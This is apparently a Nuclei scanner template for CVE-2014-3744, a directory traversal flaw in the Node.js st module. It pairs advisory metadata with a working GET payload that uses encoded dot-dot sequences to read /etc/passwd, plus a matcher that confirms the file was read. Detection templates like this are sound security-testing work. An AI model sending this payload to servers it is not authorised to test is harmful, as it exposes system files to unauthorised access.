id: CVE-2014-3744

info:
  name: Node.js st module Directory Traversal
  author: geeknik
  severity: high
  description: A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Upgrade to a patched version of the st module or use an alternative module that is not vulnerable to directory traversal.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3744
    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
    - https://snyk.io/vuln/npm:st:20140206
    - https://nodesecurity.io/advisories/st_directory_traversal
    - http://www.openwall.com/lists/oss-security/2014/05/13/1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2014-3744
    cwe-id: CWE-22
    epss-score: 0.34012
    epss-percentile: 0.98236
    cpe: cpe:2.3:a:nodejs:node.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nodejs
    product: node.js
    shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
  tags: cve2014,cve,lfi,nodejs,st,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f141c57c3a4bc0e4bda8375368f3925d0a49bc48fc39342c159ab67b5350bafb0221008feddbf3b607e4faa79403e2260b872a89f522a4c17b71fdd6c7aa689ed3329c:922c64590222798bb761d5b6d8e72950